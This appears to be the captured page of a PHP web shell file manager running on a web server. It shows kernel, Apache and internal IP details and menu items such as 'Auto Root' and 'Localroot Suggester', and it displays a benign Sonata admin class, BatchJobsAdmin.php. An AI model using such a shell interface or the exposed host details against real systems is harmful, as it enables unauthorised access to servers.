Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
CoreBundle /
Admin /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
BatchJobsAdmin.php
4.38
KB
-rw-r--r--
2026-06-24 12:09
ErrorLogAdmin.php
3.48
KB
-rwxrwxr-x
2026-06-24 12:09
Save
Rename
<?php namespace App\CoreBundle\Admin; use Sonata\AdminBundle\Admin\AbstractAdmin; use Sonata\AdminBundle\Datagrid\DatagridMapper; use Sonata\AdminBundle\Datagrid\ListMapper; use Sonata\AdminBundle\Datagrid\ProxyQueryInterface; use Sonata\AdminBundle\Route\RouteCollectionInterface; use Sonata\AdminBundle\Show\ShowMapper; /** * Batch job queue admin (read-only except delete). */ class BatchJobsAdmin extends AbstractAdmin { protected function generateBaseRouteName(bool $isChildAdmin = false): string { return 'batch_jobs'; } protected function generateBaseRoutePattern(bool $isChildAdmin = false): string { return 'batch_jobs'; } protected function configureListFields(ListMapper $listMapper): void { $listMapper ->add('id', null, ['label' => 'ID']) ->add('site_host', null, ['label' => 'Host']) ->add('php_script', null, [ 'label' => 'Script', 'template' => '@CoreBundle/Admin/truncate_text.html.twig', 'property' => 'php_script', ]) ->add('success', null, ['label' => 'Success']) ->add('failed', null, ['label' => 'Failed']) ->add('fail_count', null, ['label' => 'Fail count']) ->add('in_progress', null, ['label' => 'In progress']) ->add('is_locked', null, ['label' => 'Locked']) ->add('created_by', null, ['label' => 'Created by']) ->add('created_at', null, [ 'label' => 'Created at', 'format' => 'Y-m-d H:i:s', ]) ->add('execution_started', null, [ 'label' => 'Started', 'format' => 'Y-m-d H:i:s', ]) ->add('execution_ended', null, [ 'label' => 'Ended', 'format' => 'Y-m-d H:i:s', ]) ->add('_action', 'actions', [ 'actions' => [ 'show' => [], 'delete' => [], ], ]) ; } protected function configureShowFields(ShowMapper $showMapper): void { $showMapper ->add('id', null, ['label' => 'ID']) ->add('site_host', null, ['label' => 'Host']) ->add('php_script', null, ['label' => 'Script']) ->add('success', null, ['label' => 'Success']) ->add('failed', null, ['label' => 'Failed']) ->add('fail_count', null, ['label' => 'Fail count']) ->add('in_progress', null, ['label' => 'In progress']) ->add('is_locked', null, ['label' => 'Locked']) ->add('job_priority', null, ['label' => 'Priority']) ->add('created_by', null, ['label' => 'Created by']) ->add('created_at', null, [ 'label' => 'Created at', 'format' => 'Y-m-d H:i:s', ]) ->add('updated_at', null, [ 'label' => 'Updated at', 'format' => 'Y-m-d H:i:s', ]) ->add('execution_started', null, [ 'label' => 'Execution started', 'format' => 'Y-m-d H:i:s', ]) ->add('execution_ended', null, [ 'label' => 'Execution ended', 'format' => 'Y-m-d H:i:s', ]) ; } protected function configureDatagridFilters(DatagridMapper $datagridMapper): void { $datagridMapper ->add('site_host', null, ['label' => 'Host']) ->add('php_script', null, ['label' => 'Script']) ->add('success', null, ['label' => 'Success']) ->add('failed', null, ['label' => 'Failed']) ->add('fail_count', null, ['label' => 'Fail count']) ->add('in_progress', null, ['label' => 'In progress']) ->add('is_locked', null, ['label' => 'Locked']) ->add('created_by', null, ['label' => 'Created by']) ->add('created_at', null, ['label' => 'Created at']) ; } protected function configureQuery(ProxyQueryInterface $query): ProxyQueryInterface { $query->orderBy($query->getRootAlias() . '.created_at', 'DESC'); return parent::configureQuery($query); } protected function configureRoutes(RouteCollectionInterface $collection): void { $collection ->remove('create') ->remove('edit') ; } }